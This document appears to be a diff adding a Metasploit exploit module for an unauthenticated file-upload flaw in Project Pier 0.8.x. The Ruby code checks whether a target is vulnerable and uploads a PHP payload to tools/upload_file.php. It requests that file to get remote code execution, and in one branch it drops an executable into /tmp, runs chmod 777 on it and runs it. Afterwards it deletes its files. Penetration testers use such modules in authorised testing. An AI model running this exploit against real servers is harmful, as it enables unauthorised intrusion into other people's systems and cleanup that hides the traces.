|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = ExcellentRanking |
| 12 | + |
| 13 | + include Msf::Exploit::Remote::HttpClient |
| 14 | + include Msf::Exploit::EXE |
| 15 | + |
| 16 | + def initialize(info={}) |
| 17 | + super(update_info(info, |
| 18 | + 'Name' => "Project Pier Arbitrary File Upload Vulnerability", |
| 19 | + 'Description' => %q{ |
| 20 | + This module exploits a vulnerability found in Project Pier. The application's |
| 21 | + uploading tool does not require any authentication, which allows a malicious user |
| 22 | + to upload an arbitrary file onto the web server, and then cause remote code |
| 23 | + execution by simply requesting it. This module is known to work against Apache |
| 24 | + servers due to the way it handles an extension name, but the vulnerability may |
| 25 | + not be exploitable on others. |
| 26 | + }, |
| 27 | + 'License' => MSF_LICENSE, |
| 28 | + 'Author' => |
| 29 | + [ |
| 30 | + 'BlackHawk', |
| 31 | + 'sinn3r' |
| 32 | + ], |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + ['OSVDB', '85881'], |
| 36 | + ['URL', 'http://packetstormsecurity.org/files/117070/ProjectPier-0.8.8-Shell-Upload.html'] |
| 37 | + ], |
| 38 | + 'Platform' => ['linux', 'php'], |
| 39 | + 'Targets' => |
| 40 | + [ |
| 41 | + [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ], |
| 42 | + [ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ] |
| 43 | + ], |
| 44 | + 'Arch' => ARCH_CMD, |
| 45 | + 'Privileged' => false, |
| 46 | + 'DisclosureDate' => "Oct 8 2012", |
| 47 | + 'DefaultTarget' => 0)) |
| 48 | + |
| 49 | + register_options( |
| 50 | + [ |
| 51 | + OptString.new('TARGETURI', [true, 'The path to the web application', '/pp088/']) |
| 52 | + ], self.class) |
| 53 | + end |
| 54 | + |
| 55 | + |
| 56 | + def check |
| 57 | + target_uri.path << '/' if target_uri.path[-1,1] != '/' |
| 58 | + base = File.dirname("#{target_uri.path}.") |
| 59 | + |
| 60 | + res = send_request_cgi( |
| 61 | + { |
| 62 | + 'method' => 'GET', |
| 63 | + 'uri' => "#{base}/index.php", |
| 64 | + 'vars_get' => |
| 65 | + { |
| 66 | + 'c' => 'access', |
| 67 | + 'a' => 'login' |
| 68 | + } |
| 69 | + }) |
| 70 | + |
| 71 | + if res and res.body =~ /Welcome to ProjectPier 0\.8\.[0-8]/ and res.headers['Server'] =~ /^Apache/ |
| 72 | + return Exploit::CheckCode::Vulnerable |
| 73 | + else |
| 74 | + return Exploit::CheckCode::Safe |
| 75 | + end |
| 76 | + end |
| 77 | + |
| 78 | + def get_write_exec_payload(fname, data) |
| 79 | + p = Rex::Text.encode_base64(generate_payload_exe) |
| 80 | + php = %Q| |
| 81 | + <?php |
| 82 | + $f = fopen("#{fname}", "wb"); |
| 83 | + fwrite($f, base64_decode("#{p}")); |
| 84 | + fclose($f); |
| 85 | + exec("chmod 777 #{fname}"); |
| 86 | + exec("#{fname}"); |
| 87 | + ?> |
| 88 | + | |
| 89 | + php = php.gsub(/^\t\t/, '').gsub(/\n/, ' ') |
| 90 | + return php |
| 91 | + end |
| 92 | + |
| 93 | + def on_new_session(cli) |
| 94 | + if cli.type == "meterpreter" |
| 95 | + cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") |
| 96 | + end |
| 97 | + |
| 98 | + @clean_files.each do |f| |
| 99 | + print_debug("#{@peer} - Removing: #{f}") |
| 100 | + begin |
| 101 | + if cli.type == 'meterpreter' |
| 102 | + cli.fs.file.rm(f) |
| 103 | + else |
| 104 | + cli.shell_command_token("rm #{f}") |
| 105 | + end |
| 106 | + print_debug("File removed: #{f}") |
| 107 | + rescue ::Exception => e |
| 108 | + print_error("#{@peer} - Unable to remove #{f}: #{e.message}") |
| 109 | + end |
| 110 | + end |
| 111 | + end |
| 112 | + |
| 113 | + def upload_php(base, fname, php_payload, folder_name) |
| 114 | + data = Rex::MIME::Message.new |
| 115 | + data.add_part(folder_name, nil, nil, 'form-data; name="folder"') |
| 116 | + data.add_part(php_payload, nil, nil, "form-data; name=file; filename=\"#{fname}\"") |
| 117 | + data.add_part('', nil, nil, 'form-data; name="part"') |
| 118 | + data.add_part('Submit', nil, nil, 'form-data; name="submit"') |
| 119 | + |
| 120 | + post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_') |
| 121 | + |
| 122 | + res = send_request_cgi({ |
| 123 | + 'method' => 'POST', |
| 124 | + 'uri' => "#{base}/tools/upload_file.php", |
| 125 | + 'ctype' => "multipart/form-data; boundary=#{data.bound}", |
| 126 | + 'data' => post_data |
| 127 | + }) |
| 128 | + |
| 129 | + return res.body if res |
| 130 | + end |
| 131 | + |
| 132 | + def exec_php(base, body) |
| 133 | + # Body example: |
| 134 | + # 0 ./upload/test/test.txt-0001 |
| 135 | + uri = body.scan(/(\/.+$)/).flatten[0] |
| 136 | + @clean_files << File.basename(uri) |
| 137 | + |
| 138 | + res = send_request_raw({'uri' => "#{base}/tools#{uri}"}) |
| 139 | + |
| 140 | + if res and res.code == 404 |
| 141 | + print_error("#{@peer} - The upload most likely failed") |
| 142 | + return |
| 143 | + end |
| 144 | + |
| 145 | + handler |
| 146 | + end |
| 147 | + |
| 148 | + def exploit |
| 149 | + @peer = "#{rhost}:#{rport}" |
| 150 | + |
| 151 | + target_uri.path << '/' if target_uri.path[-1,1] != '/' |
| 152 | + base = File.dirname("#{target_uri.path}.") |
| 153 | + |
| 154 | + folder_name = Rex::Text.rand_text_alpha(4) |
| 155 | + php_fname = "#{Rex::Text.rand_text_alpha(5)}.php.1" |
| 156 | + @clean_files = [] |
| 157 | + |
| 158 | + case target['Platform'] |
| 159 | + when 'php' |
| 160 | + p = "<?php #{payload.encoded} ?>" |
| 161 | + when 'linux' |
| 162 | + bin_name = "#{Rex::Text.rand_text_alpha(5)}.bin" |
| 163 | + @clean_files << bin_name |
| 164 | + bin = generate_payload_exe |
| 165 | + p = get_write_exec_payload("/tmp/#{bin_name}", bin) |
| 166 | + end |
| 167 | + |
| 168 | + print_status("#{@peer} - Uploading PHP payload (#{p.length.to_s} bytes)...") |
| 169 | + res = upload_php(base, php_fname, p, folder_name) |
| 170 | + |
| 171 | + if not res |
| 172 | + print_error("#{@peer} - No response from server") |
| 173 | + return |
| 174 | + end |
| 175 | + |
| 176 | + print_status("#{@peer} - Executing '#{php_fname}'...") |
| 177 | + exec_php(base, res) |
| 178 | + end |
| 179 | +end |
0 commit comments